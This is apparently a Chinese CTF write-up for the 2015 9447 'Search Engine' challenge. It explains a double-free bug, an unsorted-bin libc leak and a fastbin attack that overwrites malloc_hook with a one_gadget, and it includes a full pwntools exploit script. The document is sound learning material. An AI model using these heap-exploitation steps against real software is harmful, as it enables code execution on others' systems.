2015 9447 CTF : Search Engine]
前言
题目下载
于我来说难度不小,但是克服下来收获还是很多的。原文链接,在做这题的过程中确实用到了之前没看懂的部分,很多细节需要自己去实现一下才能搞明白,比如字节错位这样的…
整体利用了double free,泄露unsoredbin地址,任意地址分配。
分析
漏洞点:
在search里仅仅free了,没有设为null,可以再次free
可以进入search的条件,仅仅是fd的位置不为null (我这里idb损坏了,但是可以通过逆向自行标注结构。
利用思路:
- 申请一个符合Unsort bin大小的块在释放后会回归到Unsort bin,之后fd和bk会成为unsortedbin的地址,可以进行泄露。
- 利用fastbin的double free,进行任意地址分配然后写,修改malloc hook
调试过程
unsortedbin地址泄露
申请一个符合Unsort bin大小的块在释放后会回归到Unsort bin
mem的开头两个位置 FD和BK 由于unsort bin里只有它一个堆块,又是双链表结构,所以都指向unsort bin本身。至此我们可以泄露unsort bin的地址。leak函数如下。通过分析程序功能知道,在存储单词时,每个单词都会有自己的长度与在堆里的地址对应。
结构体如下,顶部先是申请一个我们可控大小的堆来存放完整句子。底下再用0x30大小的堆来存放每个单词,其中FD的位置为单词在完整句子里的地址,BK的位置为单词在完整句子里的长度。然后紧跟着的是句子的地址与句子的长度。
在delete时候,仅仅删除句子内容,不改变底下结构体。所以我们可以搜索\x00来继续查询泄露Unsortedbin地址
def Search(word):
p.recvuntil('3: Quit\n',timeout=3)
p.sendline('1')
p.recvuntil('Enter the word size:\n')
p.sendline(str(len(word)))
p.recvuntil('Enter the word:\n')
p.send(word)
def Index(word):
p.recvuntil('3: Quit\n',timeout=3)
p.sendline('2')
p.recvuntil('Enter the sentence size:\n')
p.sendline(str(len(word)))
p.recvuntil('Enter the sentence:\n')
p.send(word)
def leak():
Index('a'*0x86+' m ')
Search('m')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
#gdb.attach(p,'b *0x400b1f')
Search('\x00')
p.recvuntil('Found 137: ')
unsortbin_addr = u64(p.recv(8))
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')
log.info("success unsort bin addr: "+hex(unsortbin_addr))
return unsortbin_addr
doublefree
这里的理解比较简单
首先申请大小相同的 a b c三块,然后依次释放 c b a(因为搜索的顺序跟添加顺序相反)。此时fast bin里 a->b->c->null,然后再次释放b就会导致 b->a->b->a…
这里注意的就是 在再次释放b的时候,因为c的fd指向null所以不进入搜索,b第一个进入搜索,所以只再次释放第一个结果,其余的都不再释放。
这里已经完成doublefree
# free c b a (fastbin) a->b->c->null
Index('a'*0x5d+' d ')
Index('b'*0x5d+' d ')
Index('c'*0x5d+' d ')
Search('d')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
# fastbin a->b->a->b...double free
Search('\x00')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')
任意地址alloc
一种方法是直接修改函数的hook,如malloc的hook。
通过我们泄露出来的unsorted bin地址,减去unsorted bin在main arena里的偏移可以计算得到main_arena的地址。利用libc里的main_arena的偏移可以得到libcbase。这里libc里main_arena偏移在malloc_trim函数里找到
找到Libcbase之后,利用one_gadget工具可以在libc里找到 excve(’/bin/sh’)的偏移。这样就不需要控制参数了,十分方便。之后便是对malloc_hook的控制
log.info('unsortedbin addr: '+hex(unsortedbin_addr))
unsortedbin_offset_main_arena = offset_bin_main_arena(0)
main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena
libc_base = main_arena_addr - main_arena_offset
log.info('libc_base addr: '+hex(libc_base))
在malloc的时候,不会检查地址的对齐,只会检查size的大小是否符合。这里之所以构造我们的堆块大小为0x60这是因为(0x60+8)对齐16大小为0x70在fastbin[5]里,而0x7f刚好也对应着fastbin[5]。64位计算方法为 0x7f>>4 -2。而在main_arenahook处,很多地址都以0x7f开头,可以利用字节错位来构造假的size
比如使用这里的7f为size
比较好看的方法是改成一个字节一个字节看,因为小端序,所以我们应该把0x7f放到size位的低地址处。即放到这里,所以地址减3即可
这样就构造完成了,剩下的只是一些padding,只要让我们的one_gadget填充到malloc hook即可。地址的选择有很多
总的payload
from pwn import *
from LibcSearcher import LibcSearcher
filename = 'search'
elf = ELF('./'+filename)
context.binary = filename
context.log_level = 'debug'
#p = remote('localhost',4000)
p = process('./'+filename)
#------------------------------initialize--------------------------------------------------
def Search(word):
p.recvuntil('3: Quit\n',timeout=3)
p.sendline('1')
p.recvuntil('Enter the word size:\n')
p.sendline(str(len(word)))
p.recvuntil('Enter the word:\n')
p.send(word)
def Index(word):
p.recvuntil('3: Quit\n',timeout=3)
p.sendline('2')
p.recvuntil('Enter the sentence size:\n')
p.sendline(str(len(word)))
p.recvuntil('Enter the sentence:\n')
p.send(word)
def leak():
Index('a'*0x86+' m ')
Search('m')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
#gdb.attach(p,'b *0x400b1f')
Search('\x00')
p.recvuntil('Found 137: ')
unsortbin_addr = u64(p.recv(8))
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')
log.info("success unsort bin addr: "+hex(unsortbin_addr))
return unsortbin_addr
def offset_bin_main_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 # bin overlap
return offset
main_arena_offset = 0x3c4b20
#gdb.attach(p,"b *0x400b46")
unsortedbin_addr = leak()
log.info('unsortedbin addr: '+hex(unsortedbin_addr))
unsortedbin_offset_main_arena = offset_bin_main_arena(0)
main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena
libc_base = main_arena_addr - main_arena_offset
log.info('libc_base addr: '+hex(libc_base))
# free c b a (fastbin) a->b->c->null
Index('a'*0x5d+' d ')
Index('b'*0x5d+' d ')
Index('c'*0x5d+' d ')
Search('d')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
# fastbin a->b->a->b...double free
Search('\x00')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')
fake_chunk_addr = main_arena_addr - 35
fake_chunk = p64(fake_chunk_addr).ljust(0x60, 'f')
one_gadget_addr = 0x4526a + libc_base
gdb.attach(p,'b *0x400c00')
Index(fake_chunk)
Index('a'*0x60)
Index('a'*0x60)
payload = 'a'*3
payload += p64(one_gadget_addr)
payload = payload.ljust(0x60, 'f')
Index(payload)
p.interactive()
总结
该题收获了许多,Unsortedbin地址泄露来计算libc基址,one_gadget的使用,关于FASTBIN的攻击。但是在面对题目的时候明显感觉到,首先要逆向出题目的功能甚至细节,这样才能找到漏洞并想到如何利用。
明日计划
- 复习大物
- 继续练习heap攻击方式